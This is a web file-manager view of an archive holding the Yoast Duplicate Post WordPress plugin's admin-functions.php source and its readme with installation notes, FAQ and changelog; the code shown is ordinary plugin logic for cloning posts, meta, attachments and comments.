Файловый менеджер - Редактировать - /home/infrafs/INFRABIKEIT/wp-content/plugins/FuvAhjuIQdJ9ELfQgKKOfg.tar
Назад
admin-functions.php 0000644 00000060310 15132706233 0010355 0 ustar 00 <?php /** * Backend functions. * * @package Yoast\WP\Duplicate_Post * @since 2.0 */ if ( ! is_admin() ) { return; } use Yoast\WP\Duplicate_Post\UI\Newsletter; require_once DUPLICATE_POST_PATH . 'options.php'; require_once DUPLICATE_POST_PATH . 'compat/wpml-functions.php'; require_once DUPLICATE_POST_PATH . 'compat/jetpack-functions.php'; /** * Wrapper for the option 'duplicate_post_version'. */ function duplicate_post_get_installed_version() { return get_option( 'duplicate_post_version' ); } /** * Wrapper for the defined constant DUPLICATE_POST_CURRENT_VERSION. */ function duplicate_post_get_current_version() { return DUPLICATE_POST_CURRENT_VERSION; } add_action( 'admin_init', 'duplicate_post_admin_init' ); /** * Adds handlers depending on the options. */ function duplicate_post_admin_init() { duplicate_post_plugin_upgrade(); if ( intval( get_site_option( 'duplicate_post_show_notice' ) ) === 1 ) { if ( is_multisite() ) { add_action( 'network_admin_notices', 'duplicate_post_show_update_notice' ); } else { add_action( 'admin_notices', 'duplicate_post_show_update_notice' ); } add_action( 'wp_ajax_duplicate_post_dismiss_notice', 'duplicate_post_dismiss_notice' ); } add_action( 'dp_duplicate_post', 'duplicate_post_copy_post_meta_info', 10, 2 ); add_action( 'dp_duplicate_page', 'duplicate_post_copy_post_meta_info', 10, 2 ); if ( intval( get_option( 'duplicate_post_copychildren' ) ) === 1 ) { add_action( 'dp_duplicate_post', 'duplicate_post_copy_children', 20, 3 ); add_action( 'dp_duplicate_page', 'duplicate_post_copy_children', 20, 3 ); } if ( intval( get_option( 'duplicate_post_copyattachments' ) ) === 1 ) { add_action( 'dp_duplicate_post', 'duplicate_post_copy_attachments', 30, 2 ); add_action( 'dp_duplicate_page', 'duplicate_post_copy_attachments', 30, 2 ); } if ( intval( get_option( 'duplicate_post_copycomments' ) ) === 1 ) { add_action( 'dp_duplicate_post', 'duplicate_post_copy_comments', 40, 2 ); add_action( 'dp_duplicate_page', 'duplicate_post_copy_comments', 40, 2 ); } add_action( 'dp_duplicate_post', 'duplicate_post_copy_post_taxonomies', 50, 2 ); add_action( 'dp_duplicate_page', 'duplicate_post_copy_post_taxonomies', 50, 2 ); add_filter( 'plugin_row_meta', 'duplicate_post_add_plugin_links', 10, 2 ); } /** * Plugin upgrade. */ function duplicate_post_plugin_upgrade() { $installed_version = duplicate_post_get_installed_version(); if ( duplicate_post_get_current_version() === $installed_version ) { return; } if ( empty( $installed_version ) ) { // Get default roles. $default_roles = [ 'editor', 'administrator', 'wpseo_manager', 'wpseo_editor', ]; foreach ( $default_roles as $name ) { $role = get_role( $name ); if ( ! empty( $role ) ) { $role->add_cap( 'copy_posts' ); } } add_option( 'duplicate_post_show_notice', 1 ); } else { update_option( 'duplicate_post_show_notice', 0 ); } $show_links_in_defaults = [ 'row' => '1', 'adminbar' => '1', 'submitbox' => '1', 'bulkactions' => '1', ]; add_option( 'duplicate_post_copytitle', '1' ); add_option( 'duplicate_post_copydate', '0' ); add_option( 'duplicate_post_copystatus', '0' ); add_option( 'duplicate_post_copyslug', '0' ); add_option( 'duplicate_post_copyexcerpt', '1' ); add_option( 'duplicate_post_copycontent', '1' ); add_option( 'duplicate_post_copythumbnail', '1' ); add_option( 'duplicate_post_copytemplate', '1' ); add_option( 'duplicate_post_copyformat', '1' ); add_option( 'duplicate_post_copyauthor', '0' ); add_option( 'duplicate_post_copypassword', '0' ); add_option( 'duplicate_post_copyattachments', '0' ); add_option( 'duplicate_post_copychildren', '0' ); add_option( 'duplicate_post_copycomments', '0' ); add_option( 'duplicate_post_copymenuorder', '1' ); add_option( 'duplicate_post_taxonomies_blacklist', [] ); add_option( 'duplicate_post_blacklist', '' ); add_option( 'duplicate_post_types_enabled', [ 'post', 'page' ] ); add_option( 'duplicate_post_show_original_column', '0' ); add_option( 'duplicate_post_show_original_in_post_states', '0' ); add_option( 'duplicate_post_show_original_meta_box', '0' ); add_option( 'duplicate_post_show_link', [ 'new_draft' => '1', 'clone' => '1', 'rewrite_republish' => '1', ] ); add_option( 'duplicate_post_show_link_in', $show_links_in_defaults ); $taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist' ); if ( $taxonomies_blacklist === '' ) { $taxonomies_blacklist = []; } if ( in_array( 'post_format', $taxonomies_blacklist, true ) ) { update_option( 'duplicate_post_copyformat', 0 ); $taxonomies_blacklist = array_diff( $taxonomies_blacklist, [ 'post_format' ] ); update_option( 'duplicate_post_taxonomies_blacklist', $taxonomies_blacklist ); } $meta_blacklist = explode( ',', get_option( 'duplicate_post_blacklist' ) ); if ( $meta_blacklist === '' ) { $meta_blacklist = []; } $meta_blacklist = array_map( 'trim', $meta_blacklist ); if ( in_array( '_wp_page_template', $meta_blacklist, true ) ) { update_option( 'duplicate_post_copytemplate', 0 ); $meta_blacklist = array_diff( $meta_blacklist, [ '_wp_page_template' ] ); } if ( in_array( '_thumbnail_id', $meta_blacklist, true ) ) { update_option( 'duplicate_post_copythumbnail', 0 ); $meta_blacklist = array_diff( $meta_blacklist, [ '_thumbnail_id' ] ); } update_option( 'duplicate_post_blacklist', implode( ',', $meta_blacklist ) ); if ( version_compare( $installed_version, '4.0.0' ) < 0 ) { // Migrate the 'Show links in' options to the new array-based structure. duplicate_post_migrate_show_links_in_options( $show_links_in_defaults ); } delete_site_option( 'duplicate_post_version' ); update_option( 'duplicate_post_version', duplicate_post_get_current_version() ); } /** * Runs the upgrade routine for version 4.0 to update the options in the database. * * @param array $defaults The default options to fall back on. * * @return void */ function duplicate_post_migrate_show_links_in_options( $defaults ) { $options_to_migrate = [ 'duplicate_post_show_row' => 'row', 'duplicate_post_show_adminbar' => 'adminbar', 'duplicate_post_show_submitbox' => 'submitbox', 'duplicate_post_show_bulkactions' => 'bulkactions', ]; $new_options = []; foreach ( $options_to_migrate as $old => $new ) { $new_options[ $new ] = get_option( $old, $defaults[ $new ] ); delete_option( $old ); } update_option( 'duplicate_post_show_link_in', $new_options ); } /** * Shows the welcome notice. * * @global string $wp_version The WordPress version string. */ function duplicate_post_show_update_notice() { if ( ! current_user_can( 'manage_options' ) ) { return; } $current_screen = get_current_screen(); if ( empty( $current_screen ) || empty( $current_screen->base ) || ( $current_screen->base !== 'dashboard' && $current_screen->base !== 'plugins' ) ) { return; } $title = sprintf( /* translators: %s: Yoast Duplicate Post. */ esc_html__( 'You\'ve successfully installed %s!', 'duplicate-post' ), 'Yoast Duplicate Post' ); $img_path = plugins_url( '/duplicate_post_yoast_icon-125x125.png', __FILE__ ); echo '<div id="duplicate-post-notice" class="notice is-dismissible" style="display: flex; align-items: flex-start;"> <img src="' . esc_url( $img_path ) . '" alt="" style="margin: 1em 1em 1em 0; width: 130px; align-self: center;"/> <div stle="margin: 0.5em"> <h1 style="font-size: 14px; color: #a4286a; font-weight: 600; margin-top: 8px;">' . $title . '</h1>' // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: escaped properly above. . Newsletter::newsletter_signup_form() // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: escaped in newsletter.php. . '</div> </div>'; echo "<script> function duplicate_post_dismiss_notice(){ var data = { 'action': 'duplicate_post_dismiss_notice', }; jQuery.post(ajaxurl, data, function(response) { jQuery('#duplicate-post-notice').hide(); }); } jQuery(document).ready(function(){ jQuery('body').on('click', '.notice-dismiss', function(){ duplicate_post_dismiss_notice(); }); }); </script>"; } /** * Dismisses the notice. * * @return bool */ function duplicate_post_dismiss_notice() { return update_site_option( 'duplicate_post_show_notice', 0 ); } /** * Copies the taxonomies of a post to another post. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $new_id New post ID. * @param WP_Post $post The original post object. */ function duplicate_post_copy_post_taxonomies( $new_id, $post ) { global $wpdb; if ( isset( $wpdb->terms ) ) { // Clear default category (added by wp_insert_post). wp_set_object_terms( $new_id, null, 'category' ); $post_taxonomies = get_object_taxonomies( $post->post_type ); // Several plugins just add support to post-formats but don't register post_format taxonomy. if ( post_type_supports( $post->post_type, 'post-formats' ) && ! in_array( 'post_format', $post_taxonomies, true ) ) { $post_taxonomies[] = 'post_format'; } $taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist' ); if ( $taxonomies_blacklist === '' ) { $taxonomies_blacklist = []; } if ( intval( get_option( 'duplicate_post_copyformat' ) ) === 0 ) { $taxonomies_blacklist[] = 'post_format'; } /** * Filters the taxonomy excludelist when copying a post. * * @param array $taxonomies_blacklist The taxonomy excludelist from the options. * * @return array */ $taxonomies_blacklist = apply_filters( 'duplicate_post_taxonomies_excludelist_filter', $taxonomies_blacklist ); $taxonomies = array_diff( $post_taxonomies, $taxonomies_blacklist ); foreach ( $taxonomies as $taxonomy ) { $post_terms = wp_get_object_terms( $post->ID, $taxonomy, [ 'orderby' => 'term_order' ] ); $terms = []; $num_terms = count( $post_terms ); for ( $i = 0; $i < $num_terms; $i++ ) { $terms[] = $post_terms[ $i ]->slug; } wp_set_object_terms( $new_id, $terms, $taxonomy ); } } } /** * Copies the meta information of a post to another post * * @param int $new_id The new post ID. * @param WP_Post $post The original post object. */ function duplicate_post_copy_post_meta_info( $new_id, $post ) { $post_meta_keys = get_post_custom_keys( $post->ID ); if ( empty( $post_meta_keys ) ) { return; } $meta_blacklist = get_option( 'duplicate_post_blacklist' ); if ( $meta_blacklist === '' ) { $meta_blacklist = []; } else { $meta_blacklist = explode( ',', $meta_blacklist ); $meta_blacklist = array_filter( $meta_blacklist ); $meta_blacklist = array_map( 'trim', $meta_blacklist ); } $meta_blacklist[] = '_edit_lock'; // Edit lock. $meta_blacklist[] = '_edit_last'; // Edit lock. $meta_blacklist[] = '_dp_is_rewrite_republish_copy'; $meta_blacklist[] = '_dp_has_rewrite_republish_copy'; if ( intval( get_option( 'duplicate_post_copytemplate' ) ) === 0 ) { $meta_blacklist[] = '_wp_page_template'; } if ( intval( get_option( 'duplicate_post_copythumbnail' ) ) === 0 ) { $meta_blacklist[] = '_thumbnail_id'; } $meta_blacklist = apply_filters_deprecated( 'duplicate_post_blacklist_filter', [ $meta_blacklist ], '3.2.5', 'duplicate_post_excludelist_filter' ); /** * Filters the meta fields excludelist when copying a post. * * @param array $meta_blacklist The meta fields excludelist from the options. * * @return array */ $meta_blacklist = apply_filters( 'duplicate_post_excludelist_filter', $meta_blacklist ); $meta_blacklist_string = '(' . implode( ')|(', $meta_blacklist ) . ')'; if ( strpos( $meta_blacklist_string, '*' ) !== false ) { $meta_blacklist_string = str_replace( [ '*' ], [ '[a-zA-Z0-9_]*' ], $meta_blacklist_string ); $meta_keys = []; foreach ( $post_meta_keys as $meta_key ) { if ( ! preg_match( '#^' . $meta_blacklist_string . '$#', $meta_key ) ) { $meta_keys[] = $meta_key; } } } else { $meta_keys = array_diff( $post_meta_keys, $meta_blacklist ); } /** * Filters the list of meta fields names when copying a post. * * @param array $meta_keys The list of meta fields name, with the ones in the excludelist already removed. * * @return array */ $meta_keys = apply_filters( 'duplicate_post_meta_keys_filter', $meta_keys ); foreach ( $meta_keys as $meta_key ) { $meta_values = get_post_custom_values( $meta_key, $post->ID ); foreach ( $meta_values as $meta_value ) { $meta_value = maybe_unserialize( $meta_value ); add_post_meta( $new_id, $meta_key, duplicate_post_wp_slash( $meta_value ) ); } } } /** * Workaround for inconsistent wp_slash. * Works only with WP 4.4+ (map_deep) * * @param mixed $value Array or object to be recursively slashed. * @return string|mixed */ function duplicate_post_addslashes_deep( $value ) { if ( function_exists( 'map_deep' ) ) { return map_deep( $value, 'duplicate_post_addslashes_to_strings_only' ); } else { return wp_slash( $value ); } } /** * Adds slashes only to strings. * * @param mixed $value Value to slash only if string. * @return string|mixed */ function duplicate_post_addslashes_to_strings_only( $value ) { return Yoast\WP\Duplicate_Post\Utils::addslashes_to_strings_only( $value ); } /** * Replacement function for faulty core wp_slash(). * * @param mixed $value What to add slash to. * @return mixed */ function duplicate_post_wp_slash( $value ) { return duplicate_post_addslashes_deep( $value ); } /** * Copies attachments, including physical files. * * @param int $new_id The new post ID. * @param WP_Post $post The original post object. */ function duplicate_post_copy_attachments( $new_id, $post ) { // Get thumbnail ID. $old_thumbnail_id = get_post_thumbnail_id( $post->ID ); // Get children. $children = get_posts( [ 'post_type' => 'any', 'numberposts' => -1, 'post_status' => 'any', 'post_parent' => $post->ID, ] ); // Clone old attachments. foreach ( $children as $child ) { if ( $child->post_type !== 'attachment' ) { continue; } $url = wp_get_attachment_url( $child->ID ); // Let's copy the actual file. $tmp = download_url( $url ); if ( is_wp_error( $tmp ) ) { continue; } $desc = wp_slash( $child->post_content ); $file_array = []; $file_array['name'] = basename( $url ); $file_array['tmp_name'] = $tmp; // "Upload" to the media collection $new_attachment_id = media_handle_sideload( $file_array, $new_id, $desc ); if ( is_wp_error( $new_attachment_id ) ) { unlink( $file_array['tmp_name'] ); continue; } $new_post_author = wp_get_current_user(); $cloned_child = [ 'ID' => $new_attachment_id, 'post_title' => $child->post_title, 'post_exceprt' => $child->post_title, 'post_author' => $new_post_author->ID, ]; wp_update_post( wp_slash( $cloned_child ) ); $alt_title = get_post_meta( $child->ID, '_wp_attachment_image_alt', true ); if ( $alt_title ) { update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $alt_title ) ); } // If we have cloned the post thumbnail, set the copy as the thumbnail for the new post. if ( intval( get_option( 'duplicate_post_copythumbnail' ) ) === 1 && $old_thumbnail_id === $child->ID ) { set_post_thumbnail( $new_id, $new_attachment_id ); } } } /** * Copies child posts. * * @param int $new_id The new post ID. * @param WP_Post $post The original post object. * @param string $status Optional. The destination status. */ function duplicate_post_copy_children( $new_id, $post, $status = '' ) { // Get children. $children = get_posts( [ 'post_type' => 'any', 'numberposts' => -1, 'post_status' => 'any', 'post_parent' => $post->ID, ] ); foreach ( $children as $child ) { if ( $child->post_type === 'attachment' ) { continue; } duplicate_post_create_duplicate( $child, $status, $new_id ); } } /** * Copies comments. * * @param int $new_id The new post ID. * @param WP_Post $post The original post object. */ function duplicate_post_copy_comments( $new_id, $post ) { $comments = get_comments( [ 'post_id' => $post->ID, 'order' => 'ASC', 'orderby' => 'comment_date_gmt', ] ); $old_id_to_new = []; foreach ( $comments as $comment ) { // Do not copy pingbacks or trackbacks. if ( $comment->comment_type === 'pingback' || $comment->comment_type === 'trackback' ) { continue; } $parent = ( $comment->comment_parent && $old_id_to_new[ $comment->comment_parent ] ) ? $old_id_to_new[ $comment->comment_parent ] : 0; $commentdata = [ 'comment_post_ID' => $new_id, 'comment_author' => $comment->comment_author, 'comment_author_email' => $comment->comment_author_email, 'comment_author_url' => $comment->comment_author_url, 'comment_content' => $comment->comment_content, 'comment_type' => $comment->comment_type, 'comment_parent' => $parent, 'user_id' => $comment->user_id, 'comment_author_IP' => $comment->comment_author_IP, 'comment_agent' => $comment->comment_agent, 'comment_karma' => $comment->comment_karma, 'comment_approved' => $comment->comment_approved, ]; if ( intval( get_option( 'duplicate_post_copydate' ) ) === 1 ) { $commentdata['comment_date'] = $comment->comment_date; $commentdata['comment_date_gmt'] = get_gmt_from_date( $comment->comment_date ); } $new_comment_id = wp_insert_comment( $commentdata ); $commentmeta = get_comment_meta( $new_comment_id ); foreach ( $commentmeta as $meta_key => $meta_value ) { add_comment_meta( $new_comment_id, $meta_key, duplicate_post_wp_slash( $meta_value ) ); } $old_id_to_new[ $comment->comment_ID ] = $new_comment_id; } } /** * Creates a duplicate from a post. * * This is the main functions that does the cloning. * * @param WP_Post $post The original post object. * @param string $status Optional. The intended destination status. * @param string $parent_id Optional. The parent post ID if we are calling this recursively. * @return int|WP_Error */ function duplicate_post_create_duplicate( $post, $status = '', $parent_id = '' ) { /** * Fires before duplicating a post. * * @param WP_Post $post The original post object. * @param bool $status The intended destination status. * @param int $parent_id The parent post ID if we are calling this recursively. */ do_action( 'duplicate_post_pre_copy', $post, $status, $parent_id ); /** * Filter allowing to copy post. * * @param bool $can_duplicate Default to `true`. * @param WP_Post $post The original post object. * @param bool $status The intended destination status. * @param int $parent_id The parent post ID if we are calling this recursively. * * @return bool */ $can_duplicate = apply_filters( 'duplicate_post_allow', true, $post, $status, $parent_id ); if ( ! $can_duplicate ) { wp_die( esc_html( __( 'You aren\'t allowed to duplicate this post', 'duplicate-post' ) ) ); } if ( ! duplicate_post_is_post_type_enabled( $post->post_type ) && $post->post_type !== 'attachment' ) { wp_die( esc_html( __( 'Copy features for this post type are not enabled in options page', 'duplicate-post' ) . ': ' . $post->post_type ) ); } $new_post_status = ( empty( $status ) ) ? $post->post_status : $status; $title = ' '; if ( $post->post_type !== 'attachment' ) { $prefix = sanitize_text_field( get_option( 'duplicate_post_title_prefix' ) ); $suffix = sanitize_text_field( get_option( 'duplicate_post_title_suffix' ) ); if ( intval( get_option( 'duplicate_post_copytitle' ) ) === 1 ) { $title = $post->post_title; if ( ! empty( $prefix ) ) { $prefix .= ' '; } if ( ! empty( $suffix ) ) { $suffix = ' ' . $suffix; } } else { $title = ' '; } $title = trim( $prefix . $title . $suffix ); /* * Not sure we should force a title. Instead, we should respect what WP does. * if ( '' === $title ) { * // empty title. * $title = __( 'Untitled', 'default' ); * } */ if ( intval( get_option( 'duplicate_post_copystatus' ) ) === 0 ) { $new_post_status = 'draft'; } elseif ( $new_post_status === 'publish' || $new_post_status === 'future' ) { // Check if the user has the right capability. if ( is_post_type_hierarchical( $post->post_type ) ) { if ( ! current_user_can( 'publish_pages' ) ) { $new_post_status = 'pending'; } } elseif ( ! current_user_can( 'publish_posts' ) ) { $new_post_status = 'pending'; } } } $new_post_author = wp_get_current_user(); $new_post_author_id = $new_post_author->ID; if ( intval( get_option( 'duplicate_post_copyauthor' ) ) === 1 ) { // Check if the user has the right capability. if ( is_post_type_hierarchical( $post->post_type ) ) { if ( current_user_can( 'edit_others_pages' ) ) { $new_post_author_id = $post->post_author; } } elseif ( current_user_can( 'edit_others_posts' ) ) { $new_post_author_id = $post->post_author; } } $menu_order = ( intval( get_option( 'duplicate_post_copymenuorder' ) ) === 1 ) ? $post->menu_order : 0; $increase_menu_order_by = get_option( 'duplicate_post_increase_menu_order_by' ); if ( ! empty( $increase_menu_order_by ) && is_numeric( $increase_menu_order_by ) ) { $menu_order += intval( $increase_menu_order_by ); } $post_name = $post->post_name; if ( intval( get_option( 'duplicate_post_copyslug' ) ) !== 1 ) { $post_name = ''; } $new_post_parent = empty( $parent_id ) ? $post->post_parent : $parent_id; $new_post = [ 'menu_order' => $menu_order, 'comment_status' => $post->comment_status, 'ping_status' => $post->ping_status, 'post_author' => $new_post_author_id, 'post_content' => ( intval( get_option( 'duplicate_post_copycontent' ) ) === 1 ) ? $post->post_content : '', 'post_content_filtered' => ( intval( get_option( 'duplicate_post_copycontent' ) ) === 1 ) ? $post->post_content_filtered : '', 'post_excerpt' => ( intval( get_option( 'duplicate_post_copyexcerpt' ) ) === 1 ) ? $post->post_excerpt : '', 'post_mime_type' => $post->post_mime_type, 'post_parent' => $new_post_parent, 'post_password' => ( intval( get_option( 'duplicate_post_copypassword' ) ) === 1 ) ? $post->post_password : '', 'post_status' => $new_post_status, 'post_title' => $title, 'post_type' => $post->post_type, 'post_name' => $post_name, ]; if ( intval( get_option( 'duplicate_post_copydate' ) ) === 1 ) { $new_post_date = $post->post_date; $new_post['post_date'] = $new_post_date; $new_post['post_date_gmt'] = get_gmt_from_date( $new_post_date ); } /** * Filter new post values. * * @param array $new_post New post values. * @param WP_Post $post Original post object. * * @return array */ $new_post = apply_filters( 'duplicate_post_new_post', $new_post, $post ); $new_post_id = wp_insert_post( wp_slash( $new_post ), true ); // If you have written a plugin which uses non-WP database tables to save // information about a post you can hook this action to dupe that data. if ( $new_post_id !== 0 && ! is_wp_error( $new_post_id ) ) { if ( $post->post_type === 'page' || is_post_type_hierarchical( $post->post_type ) ) { do_action( 'dp_duplicate_page', $new_post_id, $post, $status ); } else { do_action( 'dp_duplicate_post', $new_post_id, $post, $status ); } delete_post_meta( $new_post_id, '_dp_original' ); add_post_meta( $new_post_id, '_dp_original', $post->ID ); } /** * Fires after duplicating a post. * * @param int|WP_Error $new_post_id The new post id or WP_Error object on error. * @param WP_Post $post The original post object. * @param bool $status The intended destination status. * @param int $parent_id The parent post ID if we are calling this recursively. */ do_action( 'duplicate_post_post_copy', $new_post_id, $post, $status, $parent_id ); return $new_post_id; } /** * Adds some links on the plugin page. * * @param array $links The links array. * @param string $file The file name. * @return array */ function duplicate_post_add_plugin_links( $links, $file ) { if ( plugin_basename( __DIR__ . '/duplicate-post.php' ) === $file ) { $links[] = '<a href="https://yoast.com/wordpress/plugins/duplicate-post">' . esc_html__( 'Documentation', 'duplicate-post' ) . '</a>'; } return $links; } readme.txt 0000644 00000037054 15132706233 0006555 0 ustar 00 === Yoast Duplicate Post === Contributors: yoast, lopo Donate link: https://yoast.com/wordpress/plugins/duplicate-post/ Tags: duplicate post, copy, clone Requires at least: 5.8 Tested up to: 6.0 Stable tag: 4.4 Requires PHP: 5.6.20 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html The go-to tool for cloning posts and pages, including the powerful Rewrite & Republish feature. == Description == This plugin allows users to clone posts of any type, or copy them to new drafts for further editing. How it works: 1. In 'Edit Posts'/'Edit Pages', you can click on 'Clone' link below the post/page title: this will immediately create a copy and return to the list. 2. In 'Edit Posts'/'Edit Pages', you can select one or more items, then choose 'Clone' in the 'Bulk Actions' dropdown to copy them all at once. 3. In 'Edit Posts'/'Edit Pages', you can click on 'New Draft' link below the post/page title. 4. On the post edit screen, you can click on 'Copy to a new draft' above "Cancel"/"Move to trash" or in the admin bar. 5. While viewing a post as a logged in user, you can click on 'Copy to a new draft' in the admin bar. 3, 4 and 5 will lead to the edit page for the new draft: change what you want, click on 'Publish' and you're done. There is also a **template tag**, so you can put it in your templates and clone your posts/pages from the front-end. Clicking on the link will lead you to the edit page for the new draft, just like the admin bar link. Duplicate Post has many useful settings to customize its behavior and restrict its use to certain roles or post types. Check out the extensive documentation [on yoast.com](https://yoast.com/wordpress/plugins/duplicate-post/) and our [developer docs](https://developer.yoast.com/duplicate-post/). == Installation == Use WordPress' Add New Plugin feature, searching "Duplicate Post", or download the archive and: 1. Unzip the archive on your computer 2. Upload `duplicate-post` directory to the `/wp-content/plugins/` directory 3. Activate the plugin through the 'Plugins' menu in WordPress 4. Go to Settings -> Duplicate Post and customize behaviour as needed == Frequently Asked Questions == = The plugin doesn't work, why? = First, check your version of WordPress: the plugin is not supposed to work on old versions anymore. Make sure also to upgrade to the last version of the plugin! Then try to deactivate and re-activate it, some user have reported that this fixes some problems. Pay also attention to the "Permissions" tab in the Settings: make sure the plugin is enabled for the desired roles and post types. If it still doesn't work, maybe there is some kind of conflict with other plugins: feel free [to write in the forum](https://wordpress.org/support/plugin/duplicate-post) and we'll try to discover a solution (it will be *really* helpful if you try to deactivate all your other plugins one by one to see which one conflicts with mine... But do it only if you know what you're doing, I will not be responsible of any problem you may experience). = The plugin is not translated in my language! = From version 3.0 the plugin's translations are managed by the WordPress.org platform and the plugin is shipped without language files, so first of all update translations under Dashboard->Updates. If Duplicate Post is still in English, or if there are some untranslated strings, you can [help translating to your language](https://translate.wordpress.org/projects/wp-plugins/duplicate-post): you only need a WordPress.org account. == Screenshots == 1. Classic editor. 2. Block editor. 3. Post list. 4. Admin bar menu. 5. Bulk actions. 6. The options page. == Upgrade Notice == = 3.2.6 = Compatibility with WP 5.5 + various fixes = 3.2.5 = First release from Yoast + accessibility improvements + filter deprecated = 3.2.4 = Options to show original post + accessibility improvements = 3.2.3 = Fixes some bugs and incompatibilities with CF7, WPML, and custom post types with custom capabilities = 3.2.2 = Adds compatibility with Gutenberg UI and fixes a problem with slugs on new installs = 3.2.1 = Fixes some problems with Multisite, WPML, revisions = 3.2 = new website + WPML compatibility + various fixes = 3.1.2 = Fixes the problem with custom fields = 3.1.1 = Bulk clone + custom field wildcards + other features + bugfixes + fix for nasty nag = 3.1 = Bulk clone + custom field wildcards + other features + bugfixes = 3.0.3 = Notices + small fixes and improvements = 3.0.2 = Small bugfixes: check the changelog for more info = 3.0.1 = Recommended if you have 3.0: fixes the upgrade bug = 3.0 = Major redesign of the settings page + fine-tune options (what to copy, custom post types, etc.) + bugfixes and XSS prevention = 2.6 = PHP 5.4 (Strict Standards) compatible + Fixed possible XSS and SQL injections + other bugs = 2.4.1 = Fixes a couple of bug. Recommended if you have problems with v2.4 = 2.4 = Copy child pages + a couple of bugfixes + licence switch to GPLv2 = 2.3 = Fixes a bunch of bugs + copy attachments + choose where to show the links. = 2.2 = VERY IMPORTANT UPGRADE to get rid of problems with complex custom fields, afflicting both 2.1.* releases. = 2.1.1 = Fix for upgrade problem = 2.1 = Copy from admin bar + user levels out, roles and capabilities in. = 2.0.2 = Fixed permalink bug + double choice on posts list = 2.0.1 = Bug fix + new option = 2.0 = Several improvements and new features, see changelog. Requires WP 3.0+. = 1.1.1 = Some users have experienced a fatal error when upgrading to v1.1: this may fix it, if it's caused by a plugin conflict. = 1.1 = New features and customization, WP 3.0 compatibility: you should upgrade if you want to copy Custom Posts with Custom Taxonomies. == Changelog == = 4.4 (2022-01-25) = Enhancements: * Converts the upgrade notice into a welcome notice for first-time users. Bugfixes: * Fixes a bug where HTML tags in a Custom HTML block would be removed when republishing a scheduled Rewrite & Republish copy. * Fixes a bug where the button style would be broken in the Classic Editor. * Fixes a bug where a fatal error would be triggered in the Widgets page in combination with some themes or plugins. Other: * Sets the WordPress tested up to version to 5.9. = 4.3 (2021-12-14) = Bugfixes: * Fixes a bug where Rewrite & Republish copies could be displayed and queried in the front end. = 4.2 (2021-11-18) = Bugfixes: * Fixes a bug where some strings where not translated. * Fixes a bug where meta data went missing for duplicate posts created by the Rewrite & Republish feature. Props to [ocean90](https://github.com/ocean90). * Fixes a bug where the plugin would not initialize if installed via composer. Other: * Replaces Mailchimp with MailBlue newsletter integration. * Improved compatibility for PHP 8.0. * Improved sort order of the taxonomies list on the options page. * Most plugin files have been renamed. If you extend this plugin of include any of the files from the plugin from within your own plugin, you may need to adjust the file name used in the `include`/`require` statement. = 4.1.2 (2021-03-23) = Enhancements: * Allows plugins such as ACF to add fields to the "Compare changes" screen for Rewrite & Republish. Bugfixes: * Fixes a bug where the "Compare changes" screen for the Rewrite & Republish feature displayed a broken layout in WordPress 5.7. * Fixes a bug where a post type enabled by filter couldn't be copied. * Fixes a bug where the "Show links in" settings were reset to the default value on version upgrade. = 4.1.1 (2021-01-27) = Bugfixes: * Fixes a bug where editing posts with Elementor could trigger a fatal error. = 4.1 (2021-01-27) = Enhancements: * Improves compatibility between Elementor and the Rewrite and Republish feature. Bugfixes: * Fixes a bug where Rewrite & Republish notices would be shown for regular copies. * Fixes a bug where the original post of a Rewrite & Republish copy was listed in the Yoast SEO Premium link suggestions. Other: * Disables the plugin for WooCommerce products and introduces filter for enabled post types. = 4.0.2 (2021-01-14) = Bugfixes: * Fixes a bug where errors or notices could be triggered when using the plugin with some other plugins or custom code. = 4.0.1 (2021-01-12) = Bugfixes: * Fixes a bug that caused a fatal error when used with some plugins. = 4.0 (2021-01-12) = Enhancements: * Introduces the Rewrite & Republish feature, offering you the possibility to update a post/page without taking it offline or having to take extra steps. This feature is currently not available when Elementor is active on your site. * Introduces an integration with the Block Editor. * Introduces new settings to individually enable/disable the `New Draft`, `Clone` and `Rewrite & Republish` links. = 3.2.6 (2020-09-17) = * Compatibility with WordPress 5.5 * Fixed bug about copying comments in WordPress 5.5 * Check user permission when adding option to the bulk actions dropdown list * Improved update notice to be displayed only on selected screens when updating from < 3.2.5 * Updated template tag documentation link * Added missing gettext to "Subscribe" button = 3.2.5 (2020-07-07) = * First release from Yoast * Accessibility improvements to the settings page * Accessibility improvements to the "Show original item" metabox * Accessibility improvements to the "Show original item" check box in Quick Edit * duplicate_post_blacklist_filter deprecated in favor of duplicate_post_excludelist_filter = 3.2.4 (2019-12-10) = * Options to show original item in post list (in a column or alongside post states) or in a metabox in the edit screen * Accessibility improvements * Small other fixes = 3.2.3 (2019-07-10) = * Fixes incompatibility with previous versions of CF7 * Now roles without edit_posts capability but having equivalent capability for custom post types can be allowed to copy * Small other fixes to bugs that could lead to incompatibilities with WPML and others = 3.2.2 (2018-04-13) = * The "Admin bar" option shows the link in the post edit screen too, so you can use the plugin with Gutenberg enabled * Option for "Slug" not set by default on new installations * Better display of icon in the Admin bar on small screens = 3.2.1 (2017-11-25) = * Fixing some issues of the 3.* trunk before major redesign * Fixes issue when upgrading on multisite * Improved compatibility with WPML + page builders, thanks to WPML team * Prevents creating a revision immediately after the cloning = 3.2 (2017-04-04) = * new website with extensive documentation * WPML compatibility, thanks to WPML team * improved Jetpack compatibility (Subscriptions, Markdown) * small changes to hooks * improved security with nonces * various small fixes = 3.1.2 (2016-12-13) = * Fix for custom fields not copied = 3.1.1 (2016-12-13) = * Fix for nasty update nag (plus a failsafe checkbox) = 3.1 (2016-12-13) = * Bulk clone action added (WP 4.7+) * Wildcards enabled for custom fields to skip * Options to copy post author, post format (moved from taxonomies), menu order, post template * Check publish_posts/publish_pages capability to prevent Contributors from publishing by cloning * Using wp_slash (WP 3.6+) or a better workaround (WP 4.4+) on the post and its meta, should also fix some compatibility issues * Check if admin bar is showing before enqueueing CSS * Probable fix for repeated clone bug * Other minor bugs fixed = 3.0.3 (2016-10-29) = * Notices in admin after copying * Fixes warning in custom post type archives * Uses site options for version and notice * Minor fixes = 3.0.2 (2016-10-18) = * Can now be enabled for every custom post type with visible UI (not just public ones) * Admin bar CSS only enqueued when needed * New "Donate" button * Fixes for minor bugs and typos = 3.0.1 (2016-10-09) = * Fixes the issues for people upgrading from an older version = 